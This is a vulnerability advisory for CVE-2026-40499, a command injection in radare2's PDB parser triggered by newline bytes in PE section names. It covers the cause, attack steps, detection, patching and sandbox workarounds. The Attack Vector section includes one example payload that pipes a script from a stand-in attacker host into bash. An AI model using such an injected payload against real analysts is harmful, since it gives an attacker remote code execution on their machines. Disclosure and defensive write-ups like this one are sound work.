CVE-2026-40499: radare2 PDB Parser RCE Vulnerability

CVE-2026-40499 Overview

CVE-2026-40499 is a command injection vulnerability in radare2, the popular open-source reverse engineering framework. The vulnerability exists in the PDB parser's print_gvars() function, which fails to properly sanitize input from PE section header name fields. Attackers can craft malicious PDB files containing specially embedded newline bytes in section names, allowing them to inject arbitrary r2 commands that execute when the idp command processes the file.

This vulnerability poses significant risk to security researchers, malware analysts, and reverse engineers who routinely analyze potentially malicious binary files using radare2. The irony of a security analysis tool being exploited through malicious samples highlights the critical importance of input validation in security tooling.

Critical Impact

Attackers can achieve arbitrary command execution on systems where radare2 processes malicious PDB files, potentially compromising security research environments and analysis pipelines.

Affected Products

• radare2 versions prior to 6.1.4
• Systems using radare2 for PDB file analysis
• Automated malware analysis pipelines incorporating radare2

Discovery Timeline

• April 15, 2026 - CVE-2026-40499 published to NVD
• April 16, 2026 - Last updated in NVD database

Technical Details for CVE-2026-40499

Vulnerability Analysis

The vulnerability stems from improper input validation in the print_gvars() function within radare2's PDB parser component. When radare2 processes PDB (Program Database) files—commonly used for debugging Windows executables—it parses various structures including section headers. The print_gvars() function outputs global variable information derived from these structures without adequately sanitizing the section name field.

In radare2's architecture, commands are processed line-by-line, with newline characters serving as command delimiters. By embedding a newline byte (\n or 0x0a) within a PE section header name field, an attacker can prematurely terminate the current command output and inject arbitrary r2 commands. When a user executes the idp command to load PDB information, the injected commands are interpreted and executed by the radare2 command interpreter.

This vulnerability is classified as CWE-78 (Improper Neutralization of Special Elements used in an OS Command), though more precisely it represents command injection within radare2's own command interpreter rather than OS-level command execution.

Root Cause

The root cause is the absence of output encoding or sanitization for section name data before it is printed to the command interface. The print_gvars() function directly incorporates untrusted data from the PDB file into command output strings without escaping newline characters or other control characters that have special meaning in the r2 command interpreter.

Attack Vector

The attack requires local access—an attacker must convince a user to analyze a malicious PDB file with radare2, or the malicious file must be processed by an automated analysis system. The attack scenario typically involves:

1. Attacker crafts a malicious PE executable with an accompanying PDB file
2. The PDB file contains a section header with a specially crafted name field containing newline-separated r2 commands
3. Victim opens the executable in radare2 and uses the idp command to load debugging information
4. The injected commands execute with the privileges of the radare2 process

Since radare2 can execute shell commands through its ! prefix, successful exploitation can lead to arbitrary OS command execution. For example, injecting \n!curl attacker.com/shell.sh | bash could result in remote code execution.

Detection Methods for CVE-2026-40499

Indicators of Compromise

• Presence of PDB files with unusual or malformed section names containing non-printable characters
• Unexpected network connections or process spawning from radare2 processes
• PDB files with section names containing embedded newline bytes (0x0a) or carriage returns (0x0d)

Detection Strategies

• Monitor for radare2 processes spawning unexpected child processes or making network connections
• Implement file integrity monitoring on systems where radare2 is used for automated analysis
• Scan PDB files for anomalous section header name fields before analysis
• Review radare2 command history for unexpected or injected commands

Monitoring Recommendations

• Enable detailed logging for radare2 usage in security research environments
• Monitor process trees for unusual parent-child relationships involving r2 or radare2 processes
• Implement network monitoring for analysis workstations to detect command-and-control communications
• Consider running radare2 in sandboxed or containerized environments for untrusted file analysis

How to Mitigate CVE-2026-40499

Immediate Actions Required

• Upgrade radare2 to version 6.1.4 or later immediately
• Audit any automated analysis pipelines using radare2 for PDB processing
• Consider disabling PDB loading functionality (-nn flag) when analyzing untrusted binaries until patching is complete
• Run radare2 in sandboxed or isolated environments when analyzing potentially malicious files

Patch Information

The vulnerability has been addressed in radare2 version 6.1.4. The fix involves properly sanitizing section name output to prevent command injection through embedded control characters. The security patch is available through the official radare2 GitHub release. The specific commit addressing this issue can be reviewed in the radare2 repository.

Additional technical details about this vulnerability are available in the VulnCheck advisory and the original blog post documenting the discovery.

Workarounds

• Avoid using the idp command on untrusted PDB files until the patch is applied
• Run radare2 in restricted sandbox environments (containers, VMs) when analyzing untrusted binaries
• Use the -nn flag to disable automatic analysis features when opening potentially malicious files
• Implement pre-processing validation to detect and reject PDB files with suspicious section names

# Configuration example
# Run radare2 in sandbox mode for untrusted files
firejail --private --net=none r2 suspicious_binary.exe

# Alternative: Use Docker isolation
docker run --rm -it --network none -v $(pwd):/work radare/radare2 r2 /work/suspicious_binary.exe

# Disable automatic PDB loading with -nn flag
r2 -nn suspicious_binary.exe